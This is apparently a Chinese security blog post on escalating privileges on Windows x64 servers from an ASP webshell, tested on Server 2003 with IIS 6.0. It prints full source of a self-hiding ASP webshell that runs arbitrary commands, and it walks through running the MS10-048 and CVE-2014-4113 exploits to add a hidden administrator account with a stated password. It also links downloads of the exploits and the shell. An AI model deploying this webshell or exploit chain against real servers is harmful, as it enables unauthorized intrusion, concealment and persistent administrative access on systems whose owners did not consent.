Windows x64 Local Privilege Escalation

0x00 前言

在CVE-2014-4113出来后,x64环境下的提权又是一片短暂的光明。在此漏洞披露前,PR/IIS溢出/LPK劫持等对64位版本都无效果,网上公开曾有一个Exp有效,代号为MS10048 x64。

本文谨记录x64下可提权的Exp与测试过程。暂不考虑依赖第三方服务(如MSSQL/MYSQL/FTP)等的提权。

 测试环境:
Windows Server 2003 Enterprise x64 Edition - VL
IIS 6.0

0x01 手写一个AspExec先

在测试提权Exp之前,假使我们已获得一个一句话后门。

 x64-011

 

 

虚拟终端看到权限不足,默默的传一个cmd.exe,设置好变量后可以正常执行命令了,甩上最新的CVE-2014-4113的exp先

x64-02

 

机智的发现没有任何反应,这在ms10048上也有所体现。64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即使传参,也是通过以下方式执行:

c:\cmd.exe /c c:\exp.exe parms

但是x64下的几个exp则需要这样执行:

c:\exp.exe c:\recycler\server.exe

手传大马可执行Exp,但强迫症的还是喜欢自己动手丰衣足食(亦可以称做重复造轮子XD),kyo327曾在《浅谈在webshell下执行命令》中有所提及,先奉上部分代码窥知一二:

 <object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<%
'exec command
Dim path,parms,method,result
path=Trim(Request("path"))
parms=Trim(Request("parms"))
method=Trim(Request("submit"))
result=""
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
If parms="" Then parms="/c "
If method="wscript.shell" Then
    result=shell.exec(path&" "&parms).stdout.readall
Elseif method="shell.application" Then
    set newshell=createobject("shell.application")
    newshell.ShellExecute path,parms,"","open",0
    result="Shell.application Execute OK."
Elseif method="self.delete" Then
    file.attributes = 0
    fso.deletefile(file_name)
    set fso = nothing
End If
%>

 

以上为借助Wscript.shell与Shell.application两种方式执行命令,为加强一点隐蔽性,加入几行保护代码(只读,系统,隐藏):

<%
'hidded shell
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
%>

 

最后实现效果如下:

x64-03

隐藏属性:

x64-04

左上角显示支持组件,右侧path填写执行程序路径(如上传的cmd或exp),parms填写参数(cmd执行需/c参数,exp不需要)

三个Button分别表示:以script.shell执行命令 / 以Shell.application执行命令 / 脚本自删除

简单的一个示例:

x64-05

以上代码在此处开源:

https://github.com/le4f/aspexec

0x02 MS10048提权

MS10048的exploit分32与64两版本,漏洞存在于xxxCreateWindowEx()函数创建窗口时的本地权限提升.

64位环境下可以用以执行木马后门或提权,首先拿来K8Team的一个无参数添加用户,通过API添加用户,在删除或禁用net1.exe时亦可直接添加:

用户名k8team$,密码k8team!@#

借助AspExec,可以很方便的提权,上传exp(ms10048.exe)与添加用户程序(user.exe)

 Path:   c:\inetpub\wwwroot\ms10048.exe
Parms:  c:\inetpub\wwwroot\user.exe

注意不需要/c参数,使用wscript.shell或shell.applicatin依具体环境设置而定,以默认(wscript.shell)为例,执行后短暂的延迟:

x64-06

查看目标主机用户,添加成功

x64-07

至于user.exe替换成别的后门也都类似的。ms10048影响x64版本主要是Windows2003,对于新版系统还是测试CVE-2014-4113吧

0x03 CVE-2014-4113提权

相较于MS10048,新的exp(MS14-058)效果要好很多,Exp同样分32/64两个版本,同样使用user.exe添加账户测试:

 Path:   c:\inetpub\wwwroot\64.exe
Parms:  c:\inetpub\wwwroot\user.exe

上传64.exe(exp)执行后回显如下:

x64-08

基本没有明显延迟,很顺利的添加账号

x64-09

0x04 小结

以上整理仅为对实际环境模拟测试,顺便写份代码分享;)

如有错误或不足,还望指点.若有新的Exploit出现,笔者也会及时补充测试.

本文所涉及的aspexec、cve-2014-4113、ms10048等附件地址在戳这里下载 (密码secpulse)

【本文来自le4f冷夜同学的投稿,首发在安全脉搏,经团队评议以实践和总结见长,已发放稿费至作者支付宝】

源链接

Hacking more

...